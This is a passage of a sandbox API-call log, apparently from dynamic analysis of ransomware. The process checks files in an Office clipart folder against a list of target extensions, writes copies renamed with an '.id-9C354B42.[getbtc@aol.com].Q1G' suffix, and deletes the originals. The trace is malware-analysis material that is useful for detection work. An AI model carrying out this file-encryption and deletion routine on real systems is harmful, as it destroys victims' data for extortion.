[0255.997] lstrlenW (lpString=".dbf") returned 4 [0255.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.997] lstrlenW (lpString=".1cd") returned 4 [0255.997] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.997] lstrlenW (lpString=".jpg") returned 4 [0255.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.998] lstrlenW (lpString=".doc") returned 4 [0255.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0255.998] lstrlenW (lpString=".docx") returned 5 [0255.998] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0255.998] lstrlenW (lpString=".pdf") returned 4 [0255.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0255.998] lstrlenW (lpString=".xls") returned 4 [0255.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0255.998] lstrlenW (lpString=".xlsx") returned 5 [0255.998] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0255.998] lstrlenW (lpString=".ppt") returned 4 [0255.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0255.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.998] lstrlenW (lpString=".zip") returned 4 [0255.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0255.998] lstrlenW (lpString=".rar") returned 4 [0255.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0255.998] lstrlenW (lpString=".bz2") returned 4 [0255.998] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0255.998] lstrlenW (lpString=".7z") returned 3 [0255.998] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0255.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.998] lstrlenW (lpString=".dbf") returned 4 [0255.998] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0255.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.998] lstrlenW (lpString=".1cd") returned 4 [0255.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0255.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105250.WMF") returned 63 [0255.998] lstrlenW (lpString=".jpg") returned 4 [0255.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0255.998] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0255.998] lstrlenW (lpString="J0105266.WMF") returned 12 [0255.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.999] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=5908) returned 1 [0255.999] CloseHandle (hObject=0x3d8) returned 1 [0255.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 0x20 [0255.999] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0255.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0255.999] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.000] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0256.000] GetLastError () returned 0x0 [0256.000] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x1714, lpOverlapped=0x0) returned 1 [0256.002] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1720, lpOverlapped=0x0) returned 1 [0256.003] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.003] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.003] SetEndOfFile (hFile=0x204) returned 1 [0256.003] CloseHandle (hObject=0x204) returned 1 [0256.003] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.003] SetEndOfFile (hFile=0x3d8) returned 1 [0256.006] CloseHandle (hObject=0x3d8) returned 1 [0256.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.006] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105266.wmf")) returned 1 [0256.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.006] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.006] lstrlenW (lpString=".doc") returned 4 [0256.006] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.006] lstrlenW (lpString=".docx") returned 5 [0256.007] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.007] lstrlenW (lpString=".pdf") returned 4 [0256.007] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.007] lstrlenW (lpString=".xls") returned 4 [0256.007] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.007] lstrlenW (lpString=".xlsx") returned 5 [0256.007] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.007] lstrlenW (lpString=".ppt") returned 4 [0256.007] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.007] lstrlenW (lpString=".zip") returned 4 [0256.007] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.007] lstrlenW (lpString=".rar") returned 4 [0256.007] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.007] lstrlenW (lpString=".bz2") returned 4 [0256.007] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.007] lstrlenW (lpString=".7z") returned 3 [0256.007] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.007] lstrlenW (lpString=".dbf") returned 4 [0256.007] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.007] lstrlenW (lpString=".1cd") returned 4 [0256.007] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.007] lstrlenW (lpString=".jpg") returned 4 [0256.007] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.007] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.007] lstrlenW (lpString=".doc") returned 4 [0256.007] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.007] lstrlenW (lpString=".docx") returned 5 [0256.007] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.007] lstrlenW (lpString=".pdf") returned 4 [0256.008] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.008] lstrlenW (lpString=".xls") returned 4 [0256.008] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.008] lstrlenW (lpString=".xlsx") returned 5 [0256.008] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.008] lstrlenW (lpString=".ppt") returned 4 [0256.008] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.008] lstrlenW (lpString=".zip") returned 4 [0256.008] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.008] lstrlenW (lpString=".rar") returned 4 [0256.008] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.008] lstrlenW (lpString=".bz2") returned 4 [0256.008] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.008] lstrlenW (lpString=".7z") returned 3 [0256.008] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.008] lstrlenW (lpString=".dbf") returned 4 [0256.008] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.008] lstrlenW (lpString=".1cd") returned 4 [0256.008] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105266.WMF") returned 63 [0256.008] lstrlenW (lpString=".jpg") returned 4 [0256.008] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.008] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.008] lstrlenW (lpString="J0105272.WMF") returned 12 [0256.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.009] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=17728) returned 1 [0256.009] CloseHandle (hObject=0x3d8) returned 1 [0256.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 0x20 [0256.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.009] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.009] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0256.010] GetLastError () returned 0x0 [0256.010] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4540, lpOverlapped=0x0) returned 1 [0256.012] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4550, lpOverlapped=0x0) returned 1 [0256.013] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.013] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.013] SetEndOfFile (hFile=0x204) returned 1 [0256.013] CloseHandle (hObject=0x204) returned 1 [0256.013] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.013] SetEndOfFile (hFile=0x3d8) returned 1 [0256.016] CloseHandle (hObject=0x3d8) returned 1 [0256.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.016] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0256.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.017] lstrlenW (lpString=".doc") returned 4 [0256.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.017] lstrlenW (lpString=".docx") returned 5 [0256.017] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0256.017] lstrlenW (lpString=".pdf") returned 4 [0256.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.017] lstrlenW (lpString=".xls") returned 4 [0256.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.017] lstrlenW (lpString=".xlsx") returned 5 [0256.017] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0256.017] lstrlenW (lpString=".ppt") returned 4 [0256.017] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.017] lstrlenW (lpString=".zip") returned 4 [0256.017] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.017] lstrlenW (lpString=".rar") returned 4 [0256.017] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.017] lstrlenW (lpString=".bz2") returned 4 [0256.017] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.017] lstrlenW (lpString=".7z") returned 3 [0256.017] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.017] lstrlenW (lpString=".dbf") returned 4 [0256.017] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.017] lstrlenW (lpString=".1cd") returned 4 [0256.017] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.017] lstrlenW (lpString=".jpg") returned 4 [0256.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.018] lstrlenW (lpString=".doc") returned 4 [0256.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.018] lstrlenW (lpString=".docx") returned 5 [0256.018] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0256.018] lstrlenW (lpString=".pdf") returned 4 [0256.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.018] lstrlenW (lpString=".xls") returned 4 [0256.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.018] lstrlenW (lpString=".xlsx") returned 5 [0256.018] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0256.018] lstrlenW (lpString=".ppt") returned 4 [0256.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.018] lstrlenW (lpString=".zip") returned 4 [0256.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.018] lstrlenW (lpString=".rar") returned 4 [0256.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.018] lstrlenW (lpString=".bz2") returned 4 [0256.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.018] lstrlenW (lpString=".7z") returned 3 [0256.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.018] lstrlenW (lpString=".dbf") returned 4 [0256.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.018] lstrlenW (lpString=".1cd") returned 4 [0256.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105272.WMF") returned 63 [0256.018] lstrlenW (lpString=".jpg") returned 4 [0256.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.019] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0256.019] lstrlenW (lpString="J0105276.WMF") returned 12 [0256.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.019] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=19240) returned 1 [0256.019] CloseHandle (hObject=0x3d8) returned 1 [0256.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 0x20 [0256.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0256.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0256.020] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.020] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0256.020] GetLastError () returned 0x0 [0256.020] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x4b28, lpOverlapped=0x0) returned 1 [0256.022] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x4b30, lpOverlapped=0x0) returned 1 [0256.023] ReadFile (in: hFile=0x3d8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0256.023] WriteFile (in: hFile=0x204, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0256.023] SetEndOfFile (hFile=0x204) returned 1 [0256.023] CloseHandle (hObject=0x204) returned 1 [0256.023] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0256.023] SetEndOfFile (hFile=0x3d8) returned 1 [0256.025] CloseHandle (hObject=0x3d8) returned 1 [0256.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0256.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0256.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.026] lstrlenW (lpString=".doc") returned 4 [0256.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.026] lstrlenW (lpString=".docx") returned 5 [0256.026] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0256.026] lstrlenW (lpString=".pdf") returned 4 [0256.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.026] lstrlenW (lpString=".xls") returned 4 [0256.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.026] lstrlenW (lpString=".xlsx") returned 5 [0256.026] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0256.026] lstrlenW (lpString=".ppt") returned 4 [0256.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.027] lstrlenW (lpString=".zip") returned 4 [0256.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.027] lstrlenW (lpString=".rar") returned 4 [0256.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.027] lstrlenW (lpString=".bz2") returned 4 [0256.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.027] lstrlenW (lpString=".7z") returned 3 [0256.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.027] lstrlenW (lpString=".dbf") returned 4 [0256.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.027] lstrlenW (lpString=".1cd") returned 4 [0256.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.027] lstrlenW (lpString=".jpg") returned 4 [0256.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105276.WMF") returned 63 [0256.027] lstrlenW (lpString=".doc") returned 4 [0256.027] 